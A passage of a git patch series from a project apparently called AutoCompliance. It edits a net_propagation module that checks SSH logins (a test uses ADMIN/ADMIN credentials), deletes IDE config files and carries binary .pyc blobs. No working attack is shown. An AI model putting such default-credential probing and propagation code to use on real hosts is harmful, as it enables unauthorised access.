SSHClient, RejectPolicy import logging import requests import strings """ + - Importing paramiko modules for SSH connection and exception handling. - Importing modules from scapy for Packet Crafting and Sending / Sniffing. - Importing telnetlib for telnet operations. - Importing sleep to allow network processes time to complete. @@ -127,7 +128,7 @@ def check_over_ssh(ip, port, username, password): client.close() return False - except RuntimeError: + except NoValidConnectionsError: client.close() return True diff --git a/src/test_net_propagation.py b/src/test_net_propagation.py index 1a377b6..58c4085 100644 --- a/src/test_net_propagation.py +++ b/src/test_net_propagation.py @@ -77,7 +77,9 @@ def test_check_over_ssh(): This function tests the check_check_over_ssh function, it will always fail for now until I figure out how to mock an SSH connection. """ - assert check_over_ssh(ip, port, username, password) == False + assert net_propagation.check_over_ssh(strings.BLANK_IP, strings.SSH_PORT, + strings.ADMIN, strings.ADMIN) is \ + True def test_exit_and_show_instructions(capfd): From 37211b248711c929e8ce0decb1072fdd0e3634a7 Mon Sep 17 00:00:00 2001 From: Andrew <19553807+andrewk10@users.noreply.github.com> Date: Thu, 17 Mar 2022 13:25:58 +0000 Subject: [PATCH 56/78] Delete .idea directory --- .idea/.gitignore | 3 - .idea/AutoCompliance.iml | 9 - .idea/codeStyles/codeStyleConfig.xml | 5 - .idea/dbnavigator.xml | 457 ------------------ .../inspectionProfiles/profiles_settings.xml | 6 - .idea/misc.xml | 4 - .idea/modules.xml | 9 - .idea/vcs.xml | 6 - 8 files changed, 499 deletions(-) delete mode 100644 .idea/.gitignore delete mode 100644 .idea/AutoCompliance.iml delete mode 100644 .idea/codeStyles/codeStyleConfig.xml delete mode 100644 .idea/dbnavigator.xml delete mode 100644 .idea/inspectionProfiles/profiles_settings.xml delete mode 100644 .idea/misc.xml delete mode 100644 .idea/modules.xml delete mode 100644 .idea/vcs.xml diff --git a/.idea/.gitignore b/.idea/.gitignore deleted file mode 100644 index 26d3352..0000000 --- a/.idea/.gitignore +++ /dev/null @@ -1,3 +0,0 @@ -# Default ignored files -/shelf/ -/workspace.xml diff --git a/.idea/AutoCompliance.iml b/.idea/AutoCompliance.iml deleted file mode 100644 index 781c7b7..0000000 --- a/.idea/AutoCompliance.iml +++ /dev/null @@ -1,9 +0,0 @@ - - - - - - - - - \ No newline at end of file diff --git a/.idea/codeStyles/codeStyleConfig.xml b/.idea/codeStyles/codeStyleConfig.xml deleted file mode 100644 index a55e7a1..0000000 --- a/.idea/codeStyles/codeStyleConfig.xml +++ /dev/null @@ -1,5 +0,0 @@ - - - - \ No newline at end of file diff --git a/.idea/dbnavigator.xml b/.idea/dbnavigator.xml deleted file mode 100644 index 76c4c58..0000000 --- a/.idea/dbnavigator.xml +++ /dev/null @@ -1,457 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/.idea/inspectionProfiles/profiles_settings.xml b/.idea/inspectionProfiles/profiles_settings.xml deleted file mode 100644 index 105ce2d..0000000 --- a/.idea/inspectionProfiles/profiles_settings.xml +++ /dev/null @@ -1,6 +0,0 @@ - - - - \ No newline at end of file diff --git a/.idea/misc.xml b/.idea/misc.xml deleted file mode 100644 index dc9ea49..0000000 --- a/.idea/misc.xml +++ /dev/null @@ -1,4 +0,0 @@ - - - - \ No newline at end of file diff --git a/.idea/modules.xml b/.idea/modules.xml deleted file mode 100644 index e33b009..0000000 --- a/.idea/modules.xml +++ /dev/null @@ -1,9 +0,0 @@ - - - - - - - - - \ No newline at end of file diff --git a/.idea/vcs.xml b/.idea/vcs.xml deleted file mode 100644 index 35eb1dd..0000000 --- a/.idea/vcs.xml +++ /dev/null @@ -1,6 +0,0 @@ - - - - - - \ No newline at end of file From db92c8e06f7c3cb25813376427ea4f815d30bfef Mon Sep 17 00:00:00 2001 From: andrewk10 <19553807+andrewk10@users.noreply.github.com> Date: Thu, 17 Mar 2022 13:43:03 +0000 Subject: [PATCH 57/78] Auto stash before merge of "14-finish-test_net_propagationpy-and-add-proper-logging" and "origin/14-finish-test_net_propagationpy-and-add-proper-logging" --- .../net_propagation.cpython-310.pyc | Bin 19959 -> 27543 bytes src/__pycache__/strings.cpython-310.pyc | Bin 2181 -> 12331 bytes 2 files changed, 0 insertions(+), 0 deletions(-) diff --git a/src/__pycache__/net_propagation.cpython-310.pyc b/src/__pycache__/net_propagation.cpython-310.pyc index a456a5dc403933b8840dd66faf6508aae214fc9b..35d5cc9da58cb49f737b839a34dfe6298c06d57e 100644 GIT binary patch literal 27543 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 giwYwEzGB literal 19959 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 